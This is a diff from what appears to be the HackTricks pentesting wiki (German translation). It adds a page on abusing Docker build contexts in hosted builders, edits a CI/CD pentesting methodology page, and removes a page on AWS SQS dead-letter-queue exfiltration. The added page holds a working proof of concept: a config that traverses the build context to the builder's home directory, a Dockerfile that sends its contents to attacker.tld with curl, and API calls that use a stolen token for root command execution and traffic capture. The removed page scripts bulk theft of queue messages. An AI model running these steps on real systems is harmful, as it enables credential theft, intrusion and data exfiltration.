Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -0,0 +1,101 @@
+# Missbrauch von Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## TL;DR
+
+Wenn eine CI/CD-Plattform oder ein hosted builder Beitragenden erlaubt, den Docker build context path und den Dockerfile path anzugeben, kannst du häufig den Kontext auf ein übergeordnetes Verzeichnis (z. B. "..") setzen und Host-Dateien Teil des build context machen. Dann kann ein attacker-controlled Dockerfile mittels COPY Secrets aus dem Home des build user exfiltrate (zum Beispiel ~/.docker/config.json). Gestohlene Registry-Tokens können auch gegen die control-plane APIs des Providers funktionieren und org-weite RCE ermöglichen.
+
+## Angriffsfläche
+
+Viele hosted builder/registry services verfahren ungefähr so, wenn sie vom Benutzer eingereichte images bauen:
+- Liest eine repo-level config, die Folgendes enthält:
+- build context path (an den Docker daemon gesendet)
+- Dockerfile path relativ zu diesem Kontext
+- Kopiert das angegebene build context-Verzeichnis und die Dockerfile zum Docker daemon
+- Baut das image und startet es als hosted service
+
+Wenn die Plattform den build context nicht kanonisiert und einschränkt, kann ein Nutzer ihn auf einen Ort außerhalb des Repositories setzen (path traversal), wodurch beliebige Host-Dateien, die vom build user gelesen werden können, Teil des build context werden und im Dockerfile mit COPY verfügbar sind.
+
+Praktische Einschränkungen, die häufig beobachtet werden:
+- Die Dockerfile muss sich innerhalb des gewählten context path befinden und ihr Pfad muss im Voraus bekannt sein.
+- Der build user muss Lesezugriff auf die im Kontext enthaltenen Dateien haben; spezielle Device-Dateien können das Kopieren unterbrechen.
+
+## PoC: Path traversal via Docker build context
+
+Beispiel für eine bösartige Serverkonfiguration, die eine Dockerfile innerhalb des parent directory context deklariert:
+```yaml
+runtime: "container"
+build:
+dockerfile: "test/Dockerfile"   # Must reside inside the final context
+dockerBuildPath: ".."           # Path traversal to builder user $HOME
+startCommand:
+type: "http"
+configSchema:
+type: "object"
+properties:
+apiKey:
+type: "string"
+required: ["apiKey"]
+exampleConfig:
+apiKey: "sk-example123"
+```
+Hinweise:
+- Die Verwendung von ".." führt häufig auf das Home-Verzeichnis des builder-Benutzers (z. B. /home/builder), das typischerweise sensible Dateien enthält.
+- Platziere dein Dockerfile unter dem Verzeichnisnamen des repo (z. B. repo "test" → test/Dockerfile), damit es innerhalb des erweiterten übergeordneten Kontexts bleibt.
+
+## PoC: Dockerfile zum Einlesen und exfiltrieren des Host-Kontexts
+```dockerfile
+FROM alpine
+RUN apk add --no-cache curl
+RUN mkdir /data
+COPY . /data                      # Copies entire build context (now builder’s $HOME)
+RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
+```
+Targets, die häufig aus $HOME wiedergefunden werden:
+- ~/.docker/config.json (registry auths/tokens)
+- Andere cloud/CLI Caches und Konfigurationen (z. B., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+
+Tipp: Selbst mit einer .dockerignore im Repository bestimmt die verwundbare platform-side context selection weiterhin, was an den daemon gesendet wird. Wenn die Plattform den gewählten Pfad an den daemon kopiert, bevor sie die .dockerignore in deinem repo auswertet, können Host-Dateien trotzdem offengelegt werden.
+
+## Cloud pivot mit overprivileged tokens (Beispiel: Fly.io Machines API)
+
+Einige Plattformen geben ein einzelnes bearer token aus, das sowohl für die container registry als auch für die control-plane API genutzt werden kann. Wenn du einen registry token exfiltrierst, probiere ihn gegen die provider API aus.
+
+Beispielhafte API-Aufrufe gegen Fly.io Machines API unter Verwendung des gestohlenen Tokens aus ~/.docker/config.json:
+
+Apps in einer org auflisten:
+```bash
+curl -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps?org_slug=smithery"
+```
+Führe einen Befehl als root innerhalb einer beliebigen Maschine einer App aus:
+```bash
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
+```
+Ergebnis: org-wide remote code execution über alle gehosteten Apps, sofern das Token ausreichende Privilegien besitzt.
+
+## Secret theft von kompromittierten gehosteten Services
+
+Mit exec/RCE auf gehosteten Servern kannst du client-supplied secrets (API keys, tokens) erbeuten oder prompt-injection attacks durchführen. Beispiel: tcpdump installieren und HTTP traffic auf Port 8080 mitschneiden, um inbound credentials zu extrahieren.
+```bash
+# Install tcpdump inside the machine
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
+
+# Capture traffic
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
+```
+Erfasste Requests enthalten häufig Client-Anmeldeinformationen in Headern, im Body oder in Query-Parametern.
+
+## Referenzen
+
+- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
+- [Fly.io Machines API](https://fly.io/docs/machines/api/)
+
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodik
+# Pentesting CI/CD Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS steht für **Version Control System**, dieses System ermöglicht Entwicklern, ihren **Quellcode zu verwalten**. Der gebräuchlichste ist **git** und üblicherweise findet man Unternehmen, die eines der folgenden **platforms** verwenden:
+VCS steht für **Versionskontrollsystem**, dieses System erlaubt Entwicklern, **ihren Quellcode zu verwalten**. Das gebräuchlichste ist **git** und in Unternehmen findet man es üblicherweise auf einer der folgenden **Plattformen**:
 
 - Github
 - Gitlab
@@ -18,81 +18,88 @@ VCS steht für **Version Control System**, dieses System ermöglicht Entwicklern
 
 ## CI/CD Pipelines
 
-CI/CD pipelines ermöglichen es Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, darunter Build, Testing und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **konkrete Aktionen ausgelöst**, wie Code pushes, pull requests oder geplante Tasks. Sie sind nützlich, um den Prozess von der Entwicklung bis zur Produktion zu straffen.
+CI/CD pipelines ermöglichen es Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, einschließlich Build, Tests und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **bestimmte Aktionen ausgelöst**, wie etwa Code-Pushes, Pull Requests oder geplante Aufgaben. Sie helfen, den Prozess von der Entwicklung bis zur Produktion zu straffen.
 
-Allerdings müssen diese Systeme **irgendwo ausgeführt werden** und in der Regel mit **privilegierten Credentials, um Code zu deployen oder auf sensible Informationen zuzugreifen**.
+Diese Systeme müssen jedoch **irgendwo ausgeführt werden** und meist mit **privilegierten Anmeldeinformationen, um Code zu deployen oder auf sensible Informationen zuzugreifen**.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> Selbst wenn einige VCS platforms erlauben, pipelines zu erstellen, werden wir in diesem Abschnitt nur potenzielle Angriffe auf die Kontrolle des Quellcodes analysieren.
+> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
 
-Plattformen, die den Quellcode deines Projekts enthalten, bergen sensible Informationen und man muss sehr vorsichtig mit den Berechtigungen innerhalb dieser Plattform sein. Dies sind einige häufige Probleme in VCS platforms, die ein Angreifer ausnutzen könnte:
+Plattformen, die den Quellcode Ihres Projekts enthalten, beinhalten sensible Informationen, und man muss sehr vorsichtig mit den Berechtigungen innerhalb dieser Plattform sein. Dies sind einige häufige Probleme über VCS-Plattformen hinweg, die ein Angreifer ausnutzen könnte:
 
-- **Leaks**: Wenn dein Code Leaks in den Commits enthält und der Angreifer auf das repo zugreifen kann (weil es public ist oder weil er Zugang hat), könnte er die Leaks entdecken.
-- **Access**: Wenn ein Angreifer Zugriff auf ein Konto innerhalb der VCS platform erlangen kann, könnte er **mehr Sichtbarkeit und Berechtigungen** gewinnen.
-- **Register**: Einige platforms erlauben externen Nutzern einfach, ein Konto zu erstellen.
-- **SSO**: Manche platforms erlauben keine direkte Registrierung, aber jeder mit einem gültigen SSO kann Zugang erhalten (ein Angreifer könnte z.B. sein github-Konto verwenden).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt verschiedene Arten von Tokens, die ein Nutzer stehlen könnte, um auf irgendeine Weise auf ein repo zuzugreifen.
-- **Webhooks**: VCS platforms erlauben das Erstellen von webhooks. Wenn diese **nicht mit nicht sichtbaren secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**.
-- Wenn kein secret vorhanden ist, könnte der Angreifer den webhook der Drittanbieter-Plattform missbrauchen.
-- Wenn das secret in der URL enthalten ist, gilt dasselbe und der Angreifer hat auch das secret.
-- **Code compromise:** Wenn ein böswilliger Akteur irgendeine Art von **write**-Zugriff auf die Repos hat, könnte er versuchen, **bösartigen Code zu injecten**. Um erfolgreich zu sein, muss er möglicherweise **branch protections umgehen**. Diese Aktionen können mit unterschiedlichen Zielen durchgeführt werden:
-  - Kompromittiere den main branch, um die **Production zu kompromittieren**.
-  - Kompromittiere den main (oder andere Branches), um **Developer-Maschinen zu kompromittieren** (da diese oft Tests, terraform oder andere Dinge innerhalb des repos auf ihren Maschinen ausführen).
-  - **Compromise the pipeline** (siehe nächsten Abschnitt)
+- **Leaks**: Wenn Ihr Code Leaks in den Commits enthält und der Angreifer auf das Repo zugreifen kann (weil es öffentlich ist oder weil er Zugriff hat), könnte er die Leaks entdecken.
+- **Access**: Wenn ein Angreifer **Zugriff auf ein Konto innerhalb der VCS-Plattform** erlangt, könnte er **mehr Sichtbarkeit und Berechtigungen** gewinnen.
+- **Register**: Manche Plattformen erlauben externen Nutzern einfach, ein Konto zu erstellen.
+- **SSO**: Einige Plattformen erlauben keine Registrierung, aber jeder mit einem gültigen SSO kann sich anmelden (ein Angreifer könnte sich z. B. mit seinem Github-Account einloggen).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt verschiedene Token-Arten, die ein Benutzer stehlen könnte, um auf irgendeine Weise auf ein Repo zuzugreifen.
+- **Webhooks**: VCS-Plattformen erlauben das Erstellen von Webhooks. Wenn diese **nicht mit nicht sichtbaren Secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**.
+- Wenn kein Secret vorhanden ist, könnte der Angreifer den Webhook der Drittanbieterplattform missbrauchen.
+- Wenn das Secret in der URL steckt, gilt das Gleiche und der Angreifer hat ebenfalls das Secret.
+- **Code compromise:** Wenn ein böswilliger Akteur irgendeine Art von **Write-Zugriff auf die Repos** hat, könnte er versuchen, **bösartigen Code zu injizieren**. Um erfolgreich zu sein, muss er möglicherweise **Branch-Protections umgehen**. Diese Aktionen können mit verschiedenen Zielen durchgeführt werden:
+  - Das Main-Branch kompromittieren, um **Production zu kompromittieren**.
+  - Main (oder andere Branches) kompromittieren, um **Entwickler-Rechner zu kompromittieren** (da diese oft Tests, Terraform oder andere Dinge local ausführen).
+- **Compromise the pipeline** (siehe nächsten Abschnitt)
 
 ## Pipelines Pentesting Methodology
 
-Die gebräuchlichste Methode, eine pipeline zu definieren, ist die Verwendung einer **CI configuration file, die im Repository gehostet wird**, das die pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und die Build-Umgebungseinstellungen.\
-Diese Dateien haben typischerweise einen konsistenten Namen und ein Format, z. B. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien unter .github/workflows. Wenn sie ausgelöst werden, **holt der Pipeline-Job den Code** aus der ausgewählten Quelle (z. B. Commit / Branch) und **führt die in der CI configuration file angegebenen Befehle** gegen diesen Code aus.
+Die gebräuchlichste Art, eine Pipeline zu definieren, ist die Verwendung einer **CI-Konfigurationsdatei im Repository**, das die Pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\
+Diese Dateien haben typischerweise konsistente Namen und Formate, z. B. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien unter .github/workflows. Wenn ausgelöst, zieht der Pipeline-Job **den Code** aus der gewählten Quelle (z. B. Commit / Branch) und **führt die in der CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus.
 
-Daher ist das ultimative Ziel des Angreifers, diese Konfigurationsdateien oder die Befehle, die sie ausführen, irgendwie zu **kompromittieren**.
+Daher ist das ultimative Ziel des Angreifers, diese Konfigurationsdateien oder die **Befehle, die sie ausführen**, irgendwie zu **kompromittieren**.
+
+> [!TIP]
+> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
+>
+>{{#ref}}
+>docker-build-context-abuse.md
+>{{#endref}}
 
 ### PPE - Poisoned Pipeline Execution
 
-Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den notwendigen Berechtigungen können CI configuration files oder andere Dateien, die vom Pipeline-Job verwendet werden, so ändern, dass bösartige Befehle enthalten sind. Dies "vergiftet" die CI pipeline und führt zur Ausführung dieser bösartigen Befehle.
+Der Poisoned Pipeline Execution (PPE)-Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, so verändern, dass bösartige Befehle eingeschleust werden. Dadurch wird die CI-Pipeline "vergiftet" und diese bösartigen Befehle ausgeführt.
 
 Damit ein böswilliger Akteur einen PPE-Angriff erfolgreich durchführen kann, muss er:
 
-- **Write access to the VCS platform** haben, da Pipelines üblicherweise bei einem push oder pull request ausgelöst werden. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Möglichkeiten, Zugang zu erhalten).
-- Beachte, dass manchmal ein **external PR als "write access"** zählt.
-- Selbst wenn er write permissions hat, muss er sicher sein, dass er die **CI config file oder andere Dateien, auf die die Konfiguration angewiesen ist, ändern kann**.
-- Dafür muss er möglicherweise in der Lage sein, **branch protections zu umgehen**.
+- Schreibzugriff auf die VCS-Plattform haben, da Pipelines normalerweise ausgelöst werden, wenn ein Push oder ein Pull Request durchgeführt wird. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Möglichkeiten, Zugriff zu erhalten).
+- Beachten Sie, dass manchmal ein **externer PR als "Write Access"** zählt.
+- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Config-Datei oder andere Dateien, auf die die Config angewiesen ist, ändern kann**.
+- Dafür muss er möglicherweise **Branch-Protections umgehen**.
 
-Es gibt 3 PPE-Flavours:
+Es gibt 3 PPE-Varianten:
 
-- **D-PPE**: Ein **Direct PPE**-Angriff tritt auf, wenn der Akteur die **CI config**-Datei direkt verändert, die ausgeführt werden soll.
-- **I-DDE**: Ein **Indirect PPE**-Angriff tritt auf, wenn der Akteur eine **Datei** ändert, auf die die CI config Datei, die ausgeführt werden soll, **relyt** (z. B. eine make file oder eine terraform config).
-- **Public PPE or 3PE**: In einigen Fällen können Pipelines von Nutzern ausgelöst werden, die **keinen write access im repo** haben (und möglicherweise nicht einmal Teil der Org sind), weil sie einen PR senden können.
-- **3PE Command Injection**: Üblicherweise setzen CI/CD pipelines **env variables** mit **Informationen über den PR**. Wenn dieser Wert von einem Angreifer kontrolliert werden kann (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (z. B. beim Ausführen von **sh commands**), könnte ein Angreifer **Befehle darin injecten**.
+- **D-PPE**: Ein **Direct PPE**-Angriff tritt auf, wenn der Akteur die **CI-Config** Datei direkt **modifiziert**, die ausgeführt werden soll.
+- **I-DDE**: Ein **Indirect PPE**-Angriff tritt auf, wenn der Akteur eine **Datei** modifiziert, auf die sich die CI-Config stützt (z. B. ein Makefile oder eine Terraform-Konfiguration).
+- **Public PPE or 3PE**: In manchen Fällen können Pipelines von Benutzern ausgelöst werden, die **keinen Write-Zugriff auf das Repo** haben (und vielleicht nicht einmal Teil der Organisation sind), weil sie einen PR senden können.
+- **3PE Command Injection**: Üblicherweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert vom Angreifer kontrolliert werden kann (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (wie bei der Ausführung von **sh-Befehlen**), könnte ein Angreifer **Befehle injizieren**.
 
 ### Exploitation Benefits
 
-Wenn man die 3 Flavours kennt, schauen wir, was ein Angreifer nach einer erfolgreichen Ausnutzung erreichen könnte:
+Wenn man die 3 Varianten kennt, schauen wir, was ein Angreifer nach erfolgreicher Ausnutzung erreichen könnte:
 
-- **Secrets**: Wie bereits erwähnt, benötigen Pipelines **Privileges** für ihre Jobs (Code abrufen, builden, deployen ...) und diese Privilegien werden üblicherweise in **secrets** hinterlegt. Diese secrets sind meist über **env variables oder Dateien im System** zugänglich. Daher wird ein Angreifer stets versuchen, so viele secrets wie möglich zu exfiltrieren.
-- Abhängig von der Pipeline-Plattform **muss der Angreifer die secrets möglicherweise in der Konfiguration angeben**. Das bedeutet, wenn der Angreifer die CI configuration pipeline nicht ändern kann (**I-PPE** zum Beispiel), könnte er **nur die secrets exfiltrieren, die diese pipeline besitzt**.
-- **Computation**: Der Code wird irgendwo ausgeführt; abhängig davon, wo er ausgeführt wird, könnte ein Angreifer weiter pivotieren.
+- **Secrets**: Wie zuvor erwähnt, benötigen Pipelines **Privilegien** für ihre Jobs (Code abrufen, bauen, deployen ...) und diese Privilegien werden meist in **Secrets** gespeichert. Diese Secrets sind üblicherweise über **env-Variablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Secrets wie möglich zu exfiltrieren.
+- Je nach Pipeline-Plattform **muss der Angreifer die Secrets in der Config angeben**. Das bedeutet, wenn der Angreifer die CI-Konfiguration nicht ändern kann (**I-PPE** zum Beispiel), könnte er **nur die Secrets exfiltrieren, die diese Pipeline ohnehin besitzt**.
+- **Computation**: Der Code wird irgendwo ausgeführt; abhängig vom Ausführungsort kann ein Angreifer weiter pivotieren.
 - **On-Premises**: Wenn die Pipelines on-premises ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf weitere Ressourcen** landen.
-- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, aber auch IAM roles/service accounts **tokens** exfiltrieren, um **weiteren Zugriff innerhalb der Cloud** zu erhalten.
-- **Platforms machine**: Manchmal werden Jobs innerhalb der **Pipelines platform machines** ausgeführt, die üblicherweise in einer Cloud liegen und **keinen weiteren Zugriff** bieten.
-- **Select it:** Manchmal hat die **Pipelines platform mehrere Maschinen konfiguriert** und wenn man die CI configuration file ändern kann, kann man **angeben, wo man den bösartigen Code ausführen möchte**. In dieser Situation wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine reverse shell starten, um weitere Exploits zu versuchen.
-- **Compromise production**: Wenn man innerhalb der pipeline ist und die finale Version von dort gebaut und deployed wird, könnte man **den Code kompromittieren, der letztlich in Production läuft**.
+- **Cloud**: Der Angreifer könnte **andere Maschinen in der Cloud** erreichen, aber auch IAM-Rollen/Service-Account-**Tokens** exfiltrieren, um **weiteren Zugriff in der Cloud** zu erhalten.
+- **Platforms machine**: Manchmal werden Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die meist in einer Cloud liegen und **keinen weiteren Zugriff** bieten.
+- **Select it:** Manchmal hat die **Pipelines-Plattform mehrere Maschinen konfiguriert** und wenn Sie die **CI-Config-Datei ändern**, können Sie **angeben, wo Sie den bösartigen Code ausführen möchten**. In diesem Fall wird ein Angreifer vermutlich auf jeder möglichen Maschine eine Reverse-Shell starten, um weitere Schwachstellen auszunutzen.
+- **Compromise production**: Wenn Sie sich in der Pipeline befinden und die finale Version von dort gebaut und deployed wird, könnten Sie **den Code kompromittieren, der schließlich in Production ausgeführt wird**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung deiner Software-Supply-Chain-Stack-Sicherheit anhand eines neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken vom Code-Zeitpunkt bis zur Deploy-Zeit aufdecken.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zum Auditieren Ihres Software-Supply-Chain-Stacks auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken von Code-Zeit bis zur Deploy-Zeit aufdecken.
 
 ### Top 10 CI/CD Security Risk
 
-Sieh dir diesen interessanten Artikel über die Top 10 CI/CD Risiken laut Cider an: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Lesen Sie diesen interessanten Artikel zu den Top-10 CI/CD-Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Auf jeder Plattform, die du lokal ausführen kannst, findest du Anleitungen, wie du sie lokal startest, damit du sie nach Belieben konfigurieren und testen kannst.
+- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie Anleitungen, wie Sie sie lokal starten, damit Sie sie nach Belieben konfigurieren und testen können
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -1,154 +0,0 @@
-# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Description
-
-Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` an eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt AWS' legitime message recovery-Funktion zur exfiltration sensibler Daten, die sich im Laufe der Zeit in DLQs angesammelt haben.
-
-## What is a Dead-Letter Queue (DLQ)?
-
-Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten häufig:
-- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
-- Fehlerdetails und Debugging-Informationen
-- Personenbezogene Daten (PII)
-- API-Tokens, Zugangsdaten oder andere Geheimnisse
-- Geschäftskritische Transaktionsdaten
-
-DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die Anwendungen nicht richtig verarbeiten konnten.
-
-## Attack Scenario
-
-**Beispiel aus der Praxis:**
-1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
-2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
-3. **DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Angreifer erlangt Zugriff** auf AWS-Anmeldeinformationen mit SQS-Berechtigungen
-5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
-6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), verwendet der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in einer Massenoperation in seine eigene Queue zu verschieben
-7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
-
-## Requirements
-- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
-- IAM-Berechtigungen (ausgeführt als der kompromittierte Opfer-Principal):
-- Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
-- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies typischerweise standardmäßig erlaubt.
-- Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
-
-## Impact
-Exfiltrate sensible Nutzlasten, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Nutzung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Policy der Ziel-Queue `SendMessage` vom Opfer-Principal erlaubt.
-
-## How to Abuse
-
-- Identifiziere die ARN der Opfer-DLQ und stelle sicher, dass sie tatsächlich von einer Queue als DLQ referenziert wird (jede Queue ist ausreichend).
-- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte deren ARN.
-- Starte eine Message-Move-Task von der Opfer-DLQ zu deiner Ziel-Queue.
-- Überwache den Fortschritt oder breche bei Bedarf ab.
-
-### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
-
-**Szenario**: Ein Angreifer hat AWS-Anmeldeinformationen kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellverarbeitung enthält.
-
-1) **Die Opfer-DLQ entdecken und untersuchen**
-```bash
-# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
-aws sqs list-queues --queue-name-prefix dlq
-
-# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
-VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
-SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
-
-# Check how many messages are in the DLQ (potential treasure trove!)
-aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
---attribute-names ApproximateNumberOfMessages
-# Output might show: "ApproximateNumberOfMessages": "1847"
-```
-2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
-```bash
-# Create our exfiltration queue
-ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
-ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
-
-echo "Created exfiltration queue: $ATTACKER_Q_ARN"
-```
-3) **Führe das bulk message theft aus**
-```bash
-# Start moving ALL messages from victim DLQ to our queue
-# This operation will transfer thousands of failed orders containing customer data
-echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
-TASK_RESPONSE=$(aws sqs start-message-move-task \
---source-arn "$SRC_ARN" \
---destination-arn "$ATTACKER_Q_ARN" \
---max-number-of-messages-per-second 100)
-
-echo "Move task started: $TASK_RESPONSE"
-
-# Monitor the theft progress
-aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
-```
-4) **Sammeln der gestohlenen vertraulichen Daten**
-```bash
-# Receive the exfiltrated customer data
-echo "Receiving stolen customer data..."
-aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
---attribute-names All --message-attribute-names All \
---max-number-of-messages 10 --wait-time-seconds 5
-
-# Example of what an attacker might see:
-# {
-#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
-#   "MessageId": "12345-abcd-6789-efgh"
-# }
-
-# Continue receiving all messages in batches
-while true; do
-MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
---max-number-of-messages 10 --wait-time-seconds 2 --output json)
-
-if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
-echo "No more messages - exfiltration complete!"
-break
-fi
-
-echo "Received batch of stolen data..."
-# Process/save the stolen customer data
-echo "$MESSAGES" >> stolen_customer_data.json
-done
-```
-### Cross-Account-Hinweise
-- Die Ziel-Queue muss eine Resource Policy enthalten, die dem betroffenen Principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
-
-## Warum dieser Angriff effektiv ist
-
-1. **Legitime AWS-Funktion**: Nutzt integrierte AWS-Funktionalität, was es schwer macht, als bösartig erkannt zu werden
-2. **Massenoperation**: Überträgt schnell tausende Nachrichten statt langsamen Einzelzugriffs
-3. **Historische Daten**: DLQs speichern über Wochen/Monate sensible Daten
-4. **Unauffällig**: Viele Organisationen überwachen den Zugriff auf DLQs nicht genau
